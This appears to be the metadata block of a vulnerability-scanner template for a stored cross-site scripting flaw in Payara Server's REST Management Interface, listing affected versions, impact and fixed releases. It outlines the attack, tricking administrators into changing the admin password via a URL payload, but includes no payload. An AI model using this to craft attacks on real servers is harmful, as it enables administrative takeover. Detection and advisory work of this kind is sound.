id: CVE-2025-14340

info:
  name: Payara Server - Cross-Site Scripting
  author: 0x_Akoko,0xr2r
  severity: high
  description: |
   Payara Server versions <4.1.2.191.54, <5.83.0, <6.34.0, and <7.2026.1 contain a stored XSS vulnerability caused by improper input sanitization in the REST Management Interface. This allows attackers to mislead administrators into changing the admin password via a URL payload; however, the exploit requires administrator interaction.
  impact: |
   Attackers can trick administrators into changing the admin password, potentially leading to full administrative control.
  remediation: |
   Update to version 4.1.2.191.54, 5.83.0, 6.34.0, 7.2026.1 or later.
